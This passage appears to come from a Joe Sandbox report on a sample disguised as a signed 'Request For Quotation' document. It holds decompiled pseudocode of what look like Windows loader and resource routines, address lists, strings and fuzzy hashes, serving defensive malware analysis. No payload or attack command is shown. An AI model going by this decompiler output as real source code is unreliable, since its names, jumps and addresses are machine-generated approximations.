									}
									_v2380 = 0;
									_v4 = 0xfffffffe;
									L8:
									return E00A6D130(0, _t468, _t477);
								}
							}
						}
					}
				}
			}

0x00a2ba00
0x00a2ba05
0x00a2ba0a
0x00a2ba12
0x00a2ba1c
0x00a2ba25
0x00a2ba2e
0x00a2ba36
0x00a2ba3c
0x00a2ba42
0x00a2ba44
0x00a2ba4a
0x00a2ba50
0x00a2ba56
0x00a2ba5c
0x00a2ba62
0x00a2ba68
0x00a2ba75
0x00a2ba7d
0x00a2ba80
0x00a2ba86
0x00a2ba86
0x00a2ba88
0x00a2ba8e
0x00a2ba94
0x00a2ba9a
0x00a2baa0
0x00a2baac
0x00a2bab2
0x00a2babc
0x00a2bac2
0x00a2bac8
0x00a2bad0
0x00a7ad5b
0x00000000
0x00a2bad6
0x00a2bad6
0x00a2badf
0x00000000
0x00a2bae5
0x00a2bae5
0x00a2baed
0x00000000
0x00a2baf3
0x00a2bafe
0x00a2bb00
0x00a2bb08
0x00a2beed
0x00a2beed
0x00a2bef3
0x00000000
0x00a2bef9
0x00a2beff
0x00000000
0x00a2bf01
0x00a2bb0e
0x00a2bb10
0x00a2bb43
0x00a2bb43
0x00a2bb49
0x00a2bb49
0x00a2bb4f
0x00a2bb55
0x00a2bb57
0x00a7a9c0
0x00a2bb5d
0x00a2bb80
0x00a2bb86
0x00a2bb8b
0x00a2bb8b
0x00a2bb91
0x00a2bb93
0x00a7a9f1
0x00a7a9fc
0x00a7a9fe
0x00a7aa04
0x00a7aa06
0x00000000
0x00a7aa0c
0x00a7aa0c
0x00a7aa12
0x00000000
0x00a7aa12
0x00a2bb99
0x00a2bb99
0x00a2bb9f
0x00a2bba2
0x00a2bba7
0x00a2bff6
0x00a2bffb
0x00a2bffc
0x00a2bffd
0x00a2bffe
0x00a2bfff
0x00a2c002
0x00a2c008
0x00a2c00f
0x00a2c010
0x00a2c011
0x00a2c012
0x00a2c015
0x00a2c01a
0x00a2c01c
0x00a7ad65
0x00a7ad68
0x00000000
0x00a7ad6e
0x00a7ad77
0x00a7ad77
0x00a2c022
0x00a2c022
0x00a2c022
0x00a2c022
0x00a2c024
0x00a2c027
0x00a2c02c
0x00a7ad81
0x00a7ad86
0x00a7ad88
0x00a7ad9a
0x00a7ad8a
0x00a7ad93
0x00a7ad93
0x00a7ada4
0x00a7ada4
0x00a2c04c
0x00a2c04e
0x00a2c051
0x00a2c053
0x00a7adae
0x00a7adb1
0x00a7adc0
0x00a7adc0
0x00a7adb1
0x00a2c059
0x00a2c05c
0x00a7adcb
0x00a7add0
0x00a7add2
0x00a7addd
0x00a7addd
0x00a7addd
0x00a7adeb
0x00a7adeb
0x00a2c06a
0x00a2bbad
0x00a2bbaf
0x00a2bbba
0x00a2bbc1
0x00a2bbc3
0x00a7aa2c
0x00a7aa31
0x00a7aa33
0x00000000
0x00a7aa39
0x00a7aa39
0x00a7aa3f
0x00a7aa45
0x00a7aa47
0x00a7aa4a
0x00a7aa4a
0x00a7aa4d
0x00a7aa50
0x00a7aa50
0x00a7aa59
0x00a7aa5b
0x00000000
0x00a7aa5b
0x00a2be11
0x00a2be11
0x00a2be13
0x00a2be15
0x00a2be1b
0x00a2be1e
0x00a2be23
0x00a2be23
0x00a2be24
0x00a2be25
0x00a2be2b
0x00a2be32
0x00a2be3f
0x00a2be3f
0x00a2be44
0x00a2be4b
0x00a2bf65
0x00a2be51
0x00a2be51
0x00a2be56
0x00a2be58
0x00a7ac9c
0x00a2be5e
0x00a2be5e
0x00a2be5e
0x00a2be63
0x00a2be66
0x00a7aca6
0x00a7acab
0x00a7acad
0x00a7acbf
0x00a7acaf
0x00a7acb8
0x00a7acb8
0x00a7accd
0x00a7accd
0x00a2be6c
0x00a2be7f
0x00a2be81
0x00a2be87
0x00a2be89
0x00a2be91
0x00a2be91
0x00a2be93
0x00a2be95
0x00a2be9b
0x00a2be9b
0x00a2bea2
0x00a2bea9
0x00a7ad15
0x00a7ad1a
0x00a2beaf
0x00a2beb5
0x00a2beb7
0x00a7ad30
0x00a7ad35
0x00a2bebd
0x00a2bec3
0x00a2bec5
0x00a2bfc2
0x00a2bfc7
0x00a2bfc7
0x00a2becb
0x00a2bed1
0x00a2bed3
0x00a2bedb
0x00a2bedd
0x00a7ad4b
0x00a7ad50
0x00a7ad50
0x00a2bedd
0x00000000
0x00a2bbc9
0x00a2bbc9
0x00a2bbc9
0x00a2bbc9
0x00a2bbcf
0x00a2bbd5
0x00a2bbdb
0x00a2bbe5
0x00a2bbed
0x00a2bbf8
0x00a2bbf9
0x00a2bbfb
0x00a2bf7f
0x00a2bf84
0x00a2bf8a
0x00a2bf8c
0x00a7aa66
0x00000000
0x00a2bf92
0x00a2bf92
0x00a2bfa5
0x00a2bfac
0x00000000
0x00a2bfac
0x00a2bc01
0x00a2bc04
0x00a2bc0a
0x00a2bc11
0x00a2bc13
0x00a2bc27
0x00a2bc29
0x00a2bc2f
0x00a2bc31
0x00a2bc48
0x00a2bc4a
0x00a2bc50
0x00a2bc52
0x00a2bc58
0x00a2bc5e
0x00a2bc60
0x00a2bfda
0x00a2bfda
0x00a2bc66
0x00a2bc82
0x00a2bc88
0x00a2bc93
0x00a2bc99
0x00a2bca0
0x00a2bca5
0x00a2bcac
0x00a7aa97
0x00a7aa9e
0x00a7aaa7
0x00a7aab0
0x00a7aabb
0x00a7aabb
0x00a2bcb2
0x00a2bcb9
0x00a7abb7
0x00a7abbd
0x00a7abbf
0x00000000
0x00a2bcbf
0x00a2bcc5
0x00a2bccb
0x00a2bce3
0x00a2bcee
0x00a2bcf9
0x00a2bd14
0x00a2bd19
0x00a2bd1b
0x00a7abad
0x00000000
0x00a2bd21
0x00a2bd2f
0x00a2bd40
0x00a2bd52
0x00a2bd6b
0x00a2bd71
0x00a2bd76
0x00a2bd7c
0x00a2bd81
0x00a7aad8
0x00a7aadd
0x00a7aae3
0x00a7aae5
0x00000000
0x00a7aaeb
0x00a7ab04
0x00000000
0x00a7ab04
0x00000000
0x00a2bd87
0x00a2bd87
0x00a2bd87
0x00a2bd87
0x00a2bd8d
0x00a2bd8d
0x00a2bd94
0x00a7ab17
0x00a7ab1c
0x00a7ab1e
0x00000000
0x00a7ab24
0x00a7ab5b
0x00a7ab5d
0x00a7ab63
0x00a7ab65
0x00a7ab7f
0x00a7ab85
0x00a7aba3
0x00a7aba3
0x00000000
0x00a7ab67
0x00a7ab75
0x00a7ab75
0x00a7ab65
0x00a2bd9a
0x00a2bd9a
0x00a2bd9a
0x00a2bda0
0x00a2bdd6
0x00a2bdd8
0x00a2bdde
0x00a2bde4
0x00a2bf0b
0x00a2bf18
0x00a2bf1d
0x00a2bf1f
0x00a7abca
0x00a7abd0
0x00a7abd6
0x00a7abd8
0x00a7abdb
0x00a7abdb
0x00a7abde
0x00a7abe1
0x00a7abe1
0x00a7abe6
0x00a7abe6
0x00a7abe8
0x00a7abed
0x00a7abf9
0x00a7ac0d
0x00a7ac20
0x00a7ac2d
0x00a7ac3f
0x00a7ac7f
0x00a7ac81
0x00a7ac81
0x00a7ac81
0x00a2bdea
0x00a2bdea
0x00a2bdf0
0x00000000
0x00000000
0x00a2bdf0
0x00a2bde4
0x00a2bd94
0x00a2bd1b
0x00a2bcb9
0x00a2bc52
0x00a2bc31
0x00a2bdf6
0x00a2bdf6
0x00a2bdfd
0x00a2bf2a
0x00a2bf2a
0x00a2be03
0x00a2be05
0x00a2bf36
0x00a2bf3c
0x00a7ac8c
0x00a7ac8c
0x00a2bf42
0x00a2bf42
0x00a2bf48
0x00000000
0x00a2bf4e
0x00a2bf4e
0x00a2bf54
0x00000000
0x00a2bf5a
0x00000000
0x00a2bf5a
0x00a2bf54
0x00a2bf48
0x00a2be0b
0x00a2be0b
0x00a2be0b
0x00a2be0b
0x00000000
0x00a2be05
0x00a2bba7
0x00a2bb12
0x00a2bb12
0x00a2bb15
0x00a2bb17
0x00a2bb1f
0x00a2bb27
0x00a2bb27
0x00a2bb29
0x00a2bb2f
0x00a2bb38
0x00a2bb3d
0x00a2bb3d
0x00a2bb10
0x00a2bb08
0x00a2baed
0x00a2badf

Strings

$, xrefs: 00A2BA68
.mui, xrefs: 00A2BC37

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: $$.mui
API String ID: 0-2138749814
Opcode ID: 9dbdc84a991b72879f73614c2a604846cf389c11e7107e57c858964822df5540
Instruction ID: e226f275bf1a5f9106793ed4edee0a359bbd37ceebc4937726e38ad8111d40d8
Opcode Fuzzy Hash: 9dbdc84a991b72879f73614c2a604846cf389c11e7107e57c858964822df5540
Instruction Fuzzy Hash: F6424E729126699FEB61CF59DD40BEEB7B8AF48310F0081E9E50DA7252DB309E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00A44CD4, Relevance: 2.8, Strings: 2, Instructions: 307
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00A44CD4(void* __ecx, signed short __edx, intOrPtr* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _v24;
				void* _v44;
				intOrPtr _v76;
				intOrPtr _v80;
				signed short _v84;
				intOrPtr _v88;
				signed short* _v92;
				intOrPtr _v96;
				signed short _v100;
				intOrPtr _v104;
				signed short* _v108;
				intOrPtr _v112;
				signed short _v116;
				intOrPtr _v120;
				signed short* _v124;
				intOrPtr _v128;
				signed short _v132;
				intOrPtr _v136;
				signed int* _v140;
				intOrPtr _v144;
				signed short _v148;
				intOrPtr _v152;
				char* _v156;
				intOrPtr _v160;
				signed short _v164;
				intOrPtr _v168;
				char* _v172;
				void* _v176;
				void* _v180;
				void* _v184;
				void* _v188;
				char _v220;
				intOrPtr _v224;
				char _v228;
				intOrPtr _v232;
				char _v236;
				signed int _v240;
				signed short _v244;
				void* _v248;
				void* _v252;
				void* _v256;
				void* _v260;
				void* _v280;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t144;
				signed short _t149;
				signed short _t156;
				signed short _t162;
				void* _t172;
				signed int _t174;
				intOrPtr* _t184;
				signed short _t186;
				intOrPtr* _t190;
				signed short _t192;
				intOrPtr* _t195;
				signed short _t197;
				void* _t220;
				void* _t221;
				signed short _t222;
				signed short _t224;
				void* _t225;
				signed int _t231;
				signed int _t233;

				_t206 = __edx;
				_t233 = (_t231 & 0xfffffff8) - 0xf4;
				_v8 =  *0xb0d360 ^ _t233;
				_t224 = __edx;
				_t220 = __ecx;
				if(L00A44E70(0xb084dc, 0xa45f40, 0, 0) >= 0) {
					_t144 =  *0xb0846c; // 0x0
					_t142 = _t144 + 1;
					 *0xb0846c = _t144 + 1;
					if((_t144 & 0x0000ffff) == 0) {
						__eflags = _t224;
						_t174 = 0 | _t224 != 0x00000000;
						_t206 = 0;
						_v244 = 0;
						__eflags = _t224;
						if(__eflags == 0) {
							_t222 = E00A260F7(_t220, 0, 1);
						} else {
							_t142 = E00A262A0(_t174, _t220, _t224, __eflags, _t220, _t224,  &_v244, 0x1000, 0);
							__eflags = _t142;
							if(_t142 >= 0) {
								_t222 = _v244;
							} else {
								_t222 = 0;
							}
						}
						__eflags = _t222;
						if(_t222 != 0) {
							__eflags = _a8 - 2;
							if(__eflags >= 0) {
								if(__eflags != 0) {
									__eflags = _a8 - 3;
									if(_a8 != 3) {
										__eflags =  *0xb052f0 - 5;
										if( *0xb052f0 > 5) {
											_t142 = L00A58F33(0xb052f0, 0, 0x4000);
											__eflags = _t142;
											if(_t142 != 0) {
												_t184 = _a4;
												 *((intOrPtr*)(_t233 + 0x30)) = 0;
												_v224 = 0;
												_v220 =  *_t184;
												_v228 =  *((intOrPtr*)(_t184 + 4));
												_v236 =  *((intOrPtr*)(_t184 + 8));
												 *((intOrPtr*)(_t233 + 0x34)) =  *((intOrPtr*)(_t184 + 0xc));
												_t149 = 4;
												_v232 = 0;
												 *((intOrPtr*)(_t233 + 0x34)) = 0;
												_v244 = _t149;
												_v172 =  &_v220;
												_t186 = 8;
												_v156 =  &_v228;
												_v100 = _t149;
												_v240 = _t174;
												_v164 = _t186;
												_v148 = _t186;
												_v140 =  &_v236;
												_v132 = _t186;
												_v116 = _t186;
												_t187 =  &_v240;
												_v92 =  &_v244;
												_t119 = _t222 + 0x1c; // 0x1c
												_v168 = 0;
												_v160 = 0;
												_v152 = 0;
												_v144 = 0;
												_v136 = 0;
												_v128 = 0;
												_v124 = _t233 + 0x30;
												_v120 = 0;
												_v112 = 0;
												_v108 =  &_v240;
												_v104 = 0;
												_v96 = 0;
												_v88 = 0;
												_v84 = 2;
												_v80 = 0;
												_v76 = _t119;
												 *((intOrPtr*)(_t233 + 0xbc)) = 0;
												 *(_t233 + 0xc0) = 0x10;
												 *((intOrPtr*)(_t233 + 0xc4)) = 0;
												_t206 = 0x9fbbc7;
												_t142 = E00A97B9C(0xb052f0, 0x9fbbc7,  &_v240, _t187, 9, _t233 + 0x38);
											}
										}
									} else {
										__eflags =  *0xb052f0 - 5;
										if( *0xb052f0 > 5) {
											_t142 = L00A58F33(0xb052f0, 0, 0x4000);
											__eflags = _t142;
											if(_t142 != 0) {
												_t190 = _a4;
												_v224 = 0;
												_v232 = 0;
												_v228 =  *_t190;
												_v236 =  *((intOrPtr*)(_t190 + 4));
												_v220 =  *((intOrPtr*)(_t190 + 8));
												_t156 = 4;
												 *((intOrPtr*)(_t233 + 0x2c)) = 0;
												_v244 = _t156;
												_v156 =  &_v236;
												_v116 = _t156;
												_v240 = _t174;
												_v172 =  &_v228;
												_t192 = 8;
												_v140 =  &_v220;
												_v108 =  &_v244;
												_t69 = _t222 + 0x1c; // 0x1c
												_v168 = 0;
												_v164 = _t192;
												_v160 = 0;
												_v152 = 0;
												_v148 = _t192;
												_v144 = 0;
												_v136 = 0;
												_v132 = _t192;
												_v128 = 0;
												_v124 =  &_v240;
												_v120 = 0;
												_v112 = 0;
												_v104 = 0;
												_v100 = 2;
												_v96 = 0;
												_v92 = _t69;
												_v88 = 0;
												_v84 = 0x10;
												_v80 = 0;
												_t206 = 0x9fbdd2;
												_t142 = E00A97B9C(0xb052f0, 0x9fbdd2, _t192, _t192, _t192, _t233 + 0x38);
											}
										}
									}
								} else {
									__eflags =  *0xb052f0 - 5;
									if( *0xb052f0 > 5) {
										_t142 = L00A58F33(0xb052f0, 0, 0x4000);
										__eflags = _t142;
										if(_t142 != 0) {
											_t195 = _a4;
											_v232 = 0;
											_v224 = 0;
											_v236 =  *_t195;
											_v228 =  *((intOrPtr*)(_t195 + 4));
											_t162 = 4;
											_v244 = _t162;
											_v172 =  &_v236;
											_t197 = 8;
											_v132 = _t162;
											_v240 = _t174;
											_v164 = _t197;
											_v148 = _t197;
											_t198 =  &_v240;
											_v124 =  &_v244;
											_t30 = _t222 + 0x1c; // 0x1c
											_v168 = 0;
											_v160 = 0;
											_v156 =  &_v228;
											_v152 = 0;
											_v144 = 0;
											_v140 =  &_v240;
											_v136 = 0;
											_v128 = 0;
											_v120 = 0;
											_v116 = 2;
											_v112 = 0;
											_v108 = _t30;
											_v104 = 0;
											_v100 = 0x10;
											_v96 = 0;
											_t206 = 0x9fbf61;
											_t142 = E00A97B9C(0xb052f0, 0x9fbf61,  &_v240, _t198, 7, _t233 + 0x38);
										}
									}
								}
							} else {
								__eflags =  *0xb052f0 - 5;
								if( *0xb052f0 > 5) {
									_t142 = L00A58F33(0xb052f0, 0, 0x4000);
									__eflags = _t142;
									if(_t142 != 0) {
										_t201 = _t233 + 0xe8;
										E00A97B5E(_t233 + 0xe8, L"ResIdCount less than 2.");
										_t206 = 0x9fbb01;
										_t142 = E00A97B9C(0xb052f0, 0x9fbb01, _t233 + 0xe8, _t201, 3, _t233 + 0xc8);
									}
								}
							}
						} else {
							__eflags =  *0xb052f0 - 5;
							if( *0xb052f0 > 5) {
								_t142 = L00A58F33(0xb052f0, _t222, 0x4000);
								__eflags = _t142;
								if(_t142 != 0) {
									_t204 = _t233 + 0xe8;
									E00A97B5E(_t233 + 0xe8, L"Failed to retrieve service checksum.");
									_t206 = 0x9fbcb2;
									_t142 = E00A97B9C(0xb052f0, 0x9fbcb2, _t233 + 0xe8, _t204, 3, _t233 + 0xc8);
								}
							}
						}
					}
				}
				_pop(_t221);
				_pop(_t225);
				_pop(_t172);
				return L00A5B640(_t142, _t172, _v8 ^ _t233, _t206, _t221, _t225);
			}

0x00a44cd4
0x00a44cdc
0x00a44ce9
0x00a44d01
0x00a44d03
0x00a44d0c
0x00a44d0e
0x00a44d16
0x00a44d17
0x00a44d1e
0x00a86808
0x00a8680a
0x00a8680d
0x00a8680f
0x00a86813
0x00a86815
0x00a86841
0x00a86817
0x00a86824
0x00a86829
0x00a8682b
0x00a86831
0x00a8682d
0x00a8682d
0x00a8682d
0x00a8682b
0x00a86843
0x00a86845
0x00a8689c
0x00a868a0
0x00a868f8
0x00a869f4
0x00a869f8
0x00a86b1e
0x00a86b25
0x00a86b39
0x00a86b3e
0x00a86b40
0x00a86b46
0x00a86b4d
0x00a86b51
0x00a86b57
0x00a86b5e
0x00a86b65
0x00a86b70
0x00a86b74
0x00a86b75
0x00a86b79
0x00a86b81
0x00a86b86
0x00a86b8c
0x00a86b8d
0x00a86b95
0x00a86ba0
0x00a86ba6
0x00a86baa
0x00a86bae
0x00a86bb6
0x00a86bbd
0x00a86bc4
0x00a86bc8
0x00a86bcf
0x00a86bd2
0x00a86bd6
0x00a86bda
0x00a86bde
0x00a86be2
0x00a86be6
0x00a86bed
0x00a86bf4
0x00a86bfb
0x00a86c02
0x00a86c09
0x00a86c10
0x00a86c17
0x00a86c1e
0x00a86c29
0x00a86c30
0x00a86c37
0x00a86c3e
0x00a86c49
0x00a86c54
0x00a86c60
0x00a86c60
0x00a86b40
0x00a869fe
0x00a869fe
0x00a86a05
0x00a86a19
0x00a86a1e
0x00a86a20
0x00a86a26
0x00a86a2d
0x00a86a31
0x00a86a37
0x00a86a3e
0x00a86a49
0x00a86a4d
0x00a86a4e
0x00a86a56
0x00a86a5b
0x00a86a63
0x00a86a70
0x00a86a76
0x00a86a7a
0x00a86a7b
0x00a86a83
0x00a86a8a
0x00a86a8d
0x00a86a91
0x00a86a95
0x00a86a99
0x00a86a9d
0x00a86aa1
0x00a86aa5
0x00a86aa9
0x00a86ab0
0x00a86ab7
0x00a86abe
0x00a86ac5
0x00a86acc
0x00a86ad3
0x00a86ade
0x00a86ae5
0x00a86aec
0x00a86af3
0x00a86afe
0x00a86b09
0x00a86b14
0x00a86b14
0x00a86a20
0x00a86a05
0x00a868fe
0x00a868fe
0x00a86905
0x00a86919
0x00a8691e
0x00a86920
0x00a86926
0x00a8692d
0x00a86931
0x00a8693b
0x00a86946
0x00a8694a
0x00a8694b
0x00a86950
0x00a86956
0x00a86957
0x00a86962
0x00a86968
0x00a8696c
0x00a86970
0x00a86974
0x00a8697b
0x00a8697e
0x00a86982
0x00a86986
0x00a8698a
0x00a8698e
0x00a86992
0x00a86996
0x00a8699a
0x00a869a1
0x00a869a8
0x00a869b3
0x00a869ba
0x00a869c1
0x00a869c8
0x00a869d3
0x00a869de
0x00a869ea
0x00a869ea
0x00a86920
0x00a86905
0x00a868a2
0x00a868a2
0x00a868a9
0x00a868bd
0x00a868c2
0x00a868c4
0x00a868cf
0x00a868d6
0x00a868e2
0x00a868ee
0x00a868ee
0x00a868c4
0x00a868a9
0x00a86847
0x00a86847
0x00a8684e
0x00a86861
0x00a86866
0x00a86868
0x00a86873
0x00a8687a
0x00a86886
0x00a86892
0x00a86892
0x00a86868
0x00a8684e
0x00a86845
0x00a44d1e
0x00a44d2b
0x00a44d2c
0x00a44d2d
0x00a44d38

Strings

ResIdCount less than 2., xrefs: 00A868CA
Failed to retrieve service checksum., xrefs: 00A8686E

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: Failed to retrieve service checksum.$ResIdCount less than 2.
API String ID: 0-863616075
Opcode ID: 14ca8541751d262ce3897b9c5e6bf1dd5450bdff933aa995d44d4adcf32426e0
Instruction ID: 1622b0bf61ca8c1958ca9a9d5fb20468c42a9fbe94e908746d4f20bb13b9b75b
Opcode Fuzzy Hash: 14ca8541751d262ce3897b9c5e6bf1dd5450bdff933aa995d44d4adcf32426e0
Instruction Fuzzy Hash: 0BD103B4A087849FD324CF1AD481B9BFBE1BBC8704F50892EE99997350DB709909CF52

Uniqueness

Uniqueness Score: -1.00%

Function 00A299C7, Relevance: 2.8, Strings: 2, Instructions: 294
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00A299C7(signed int __ecx, signed int __edx, signed int _a4, signed int _a8, signed short* _a12) {
				char _v12;
				char* _v16;
				short _v18;
				char _v20;
				char* _v24;
				short _v26;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v77;
				void* _v80;
				signed int _v88;
				char _v89;
				short _t109;
				short _t110;
				void* _t111;
				signed char* _t114;
				signed int _t115;
				signed char* _t116;
				signed int _t118;
				signed int _t120;
				signed int _t125;
				signed int _t143;
				short _t146;
				signed int _t149;
				short* _t156;
				intOrPtr _t165;
				signed char* _t169;

				_v52 = __ecx;
				_t146 = 0x38;
				_t109 = 0x3a;
				_v26 = _t109;
				_t110 = 0x36;
				_v48 = __edx;
				_v28 = _t146;
				_v24 = L"LdrResFallbackLangList Enter";
				_v20 = _t110;
				_v18 = _t146;
				_v16 = L"LdrResFallbackLangList Exit";
				_t111 = E00A37D50();
				_t169 = 0x7ffe0385;
				if(_t111 != 0) {
					_t114 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				} else {
					_t114 = 0x7ffe0385;
				}
				_t140 = 0x7ffe0384;
				if(( *_t114 & 0x00000001) != 0) {
					_t115 = E00A37D50();
					if(_t115 == 0) {
						_t116 = 0x7ffe0384;
					} else {
						_t116 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					L00AA6715( &_v28,  *_t116 & 0x000000ff);
				}
				_t156 = _a12;
				if(_t156 == 0) {
					_t165 = 0xc000000d;
					goto L37;
				} else {
					 *_t156 = 0;
					_t149 = 0;
					 *((char*)(_t156 + 0x204)) = 0;
					_v60 = 0;
					_v64 = 0;
					_v77 = 0;
					_v56 = 0;
					while(1) {
						L5:
						_t125 = _t149;
						_t143 = _t149;
						_v68 = _t149 + 1;
						if(_t125 > 7) {
							break;
						}
						switch( *((intOrPtr*)(_t125 * 4 +  &M00A29CEB))) {
							case 0:
								__si = _a4;
								goto L13;
							case 1:
								__eflags = _a8 & 0x00000004;
								if((_a8 & 0x00000004) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									goto L36;
								}
								__eflags = _a4 & 0x000003ff;
								if((_a4 & 0x000003ff) != 0) {
									 *((char*)(__edx + 0x204)) = 1;
									__edx =  &_v72;
									__eax = E00A1649B(__ecx, __edx);
									__eflags = __eax;
									if(__eax < 0) {
										goto L36;
									}
									__si = _v72;
									__eflags = __si;
									if(__si != 0) {
										__ecx = __ebx;
									} else {
										__ecx = __ecx | 0xffffffff;
									}
									_v68 = __ecx;
									L26:
									_push(2);
									goto L13;
								}
								goto L26;
							case 2:
								_v76 = 0;
								_t127 = E00A2ABEC();
								_t151 = _v60;
								if(_t127 == 0 || _t151 >= ( *( *( *[fs:0x18] + 0xfc0) + 4) & 0x0000ffff)) {
									_t173 = 0;
								} else {
									E00A2AAC7(_t151,  *( *[fs:0x18] + 0xfc0), _t151,  &_v76,  &_v77);
									_t173 = _v88;
									_t151 = _v72;
								}
								if(_t173 == 0) {
									goto L21;
								} else {
									if(_v77 != 0) {
										__eflags = _a8 & 0x00100000;
										if((_a8 & 0x00100000) != 0) {
											_t173 = 0xeeee;
										}
									}
									_v60 = _t151 + 1;
									_t149 = _t143;
									_push(3);
									_pop(_t167);
									_v68 = _t149;
									goto L13;
								}
							case 3:
								__eax = _v52;
								__eflags = __eax;
								if(__eax == 0) {
									L32:
									goto L5;
								}
								__edx = _v48;
								 &_v36 =  &_v44;
								__ecx = __eax;
								__eax = E00A261A7(__ecx, _v48,  &_v44,  &_v36, _a8);
								__eflags = __eax;
								if(__eax >= 0) {
									 &_v12 = E00A5BB40(__ecx,  &_v12, _v44);
									 &_v48 =  &_v20;
									__eax = L00A243C0( &_v20,  &_v48);
									__eflags = __al;
									if(__al == 0) {
										_v64 = 0xc00b0005;
										goto L31;
									}
									__eflags = _a8 & 0x00100000;
									__si = _v40;
									_v76 = _v40;
									if((_a8 & 0x00100000) != 0) {
										__edx =  *[fs:0x18];
										 &_v77 =  &_v76;
										__edx =  *( *[fs:0x18] + 0xfc0);
										__eax = E00A2AAC7(__ecx, __edx, 0,  &_v76,  &_v77);
										__eflags = _v89;
										if(_v89 == 0) {
											__si = _v76;
										}
									}
									__eax = _v36;
									__al = __al & 0x00000001;
									asm("sbb edi, edi");
									goto L42;
								}
								L31:
								__ecx = _v68;
								__edx = _a12;
								goto L32;
							case 4:
								__eax = 0xeeee;
								_v76 = __ax;
								__eax = _a8;
								__eax =  !_a8;
								__eflags = __eax & 0x00080000;
								if((__eax & 0x00080000) != 0) {
									goto L36;
								}
								__eflags =  *[fs:0x18];
								if( *[fs:0x18] == 0) {
									__si = _v76;
									goto L5;
								}
								__eax =  *[fs:0x18];
								__si =  *((intOrPtr*)( *[fs:0x18] + 0xc4));
								goto L13;
							case 5:
								__eax =  &_v56;
								_push( &_v56);
								_push(1);
								__eax = L00A59630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__si = _v56;
								goto L42;
							case 6:
								__eax =  &_v32;
								_push( &_v32);
								_push(0);
								__eax = L00A59630();
								__edx = _a12;
								__ecx = __eax;
								_v72 = __ecx;
								__eflags = __ecx;
								__ecx = _v76;
								if(__eflags < 0) {
									goto L5;
								}
								__eax = _v32;
								__eflags = _v32 - _v56;
								if(_v32 == _v56) {
									goto L5;
								}
								__si = __ax;
								L42:
								__ecx = _v68;
								goto L13;
							case 7:
								L13:
								_t159 = _a12;
								if(_t173 == 0xeeee) {
									goto L5;
								}
								_t144 =  *_t159 & 0x0000ffff;
								_t153 = 0;
								_t129 = _t144;
								if(_t129 == 0) {
									L19:
									if(_t144 >= 0x40) {
										goto L36;
									}
									 *(_t159 + 4 + _t129 * 8) = _t173;
									 *((intOrPtr*)(_t159 + 8 + ( *_t159 & 0x0000ffff) * 8)) = _t167;
									 *_t159 =  *_t159 + 1;
									L21:
									_t149 = _v68;
									goto L5;
								}
								_t162 =  &(_t159[2]);
								while( *_t162 != _t173) {
									_t153 = _t153 + 1;
									_t162 =  &(_t162[4]);
									if(_t153 < _t129) {
										continue;
									}
									break;
								}
								_t159 = _a12;
								_t149 = _v68;
								if(_t153 < _t129) {
									goto L5;
								}
								goto L19;
						}
					}
					L36:
					_t165 = _v64;
					_t169 = 0x7ffe0385;
					_t63 = _t169 - 1; // 0x7ffe0384
					_t140 = _t63;
					L37:
					_t118 = E00A37D50();
					if(_t118 != 0) {
						_t169 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t169 & 0x00000001) != 0) {
						_t120 = E00A37D50();
						if(_t120 != 0) {
							_t140 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						L00AA6715( &_v20,  *_t140 & 0x000000ff);
					}
					return _t165;
				}
			}

0x00a299d7
0x00a299dd
0x00a299e0
0x00a299e3
0x00a299e8
0x00a299e9
0x00a299ed
0x00a299f2
0x00a299fa
0x00a299ff
0x00a29a04
0x00a29a0c
0x00a29a11
0x00a29a18
0x00a79ff0
0x00a29a1e
0x00a29a1e
0x00a29a1e
0x00a29a23
0x00a29a28
0x00a79ffa
0x00a7a001
0x00a7a013
0x00a7a003
0x00a7a00c
0x00a7a00c
0x00a7a01c
0x00a7a01c
0x00a29a2e
0x00a29a33
0x00a7a026
0x00000000
0x00a29a39
0x00a29a3d
0x00a29a40
0x00a29a42
0x00a29a48
0x00a29a4c
0x00a29a50
0x00a29a54
0x00a29a58
0x00a29a58
0x00a29a58
0x00a29a5a
0x00a29a5d
0x00a29a64
0x00000000
0x00000000
0x00a29a6a
0x00000000
0x00a29b45
0x00000000
0x00000000
0x00a29b4e
0x00a29b52
0x00a7a0cc
0x00000000
0x00a7a0cc
0x00a29b58
0x00a29b5f
0x00a7a030
0x00a7a03a
0x00a7a03e
0x00a7a043
0x00a7a045
0x00000000
0x00000000
0x00a7a04b
0x00a7a050
0x00a7a053
0x00a7a05a
0x00a7a055
0x00a7a055
0x00a7a055
0x00a7a05c
0x00a29b6a
0x00a29b6a
0x00000000
0x00a29b6c
0x00000000
0x00000000
0x00a29a73
0x00a29a78
0x00a29a7d
0x00a29a83
0x00a29b72
0x00a29aa1
0x00a29ab9
0x00a29abe
0x00a29ac3
0x00a29ac3
0x00a29aca
0x00000000
0x00a29ad0
0x00a29ad5
0x00a7a065
0x00a7a06c
0x00a7a072
0x00a7a072
0x00a7a06c
0x00a29adc
0x00a29ae0
0x00a29ae2
0x00a29ae4
0x00a29ae5
0x00000000
0x00a29ae5
0x00000000
0x00a29b83
0x00a29b87
0x00a29b89
0x00a29bb2
0x00000000
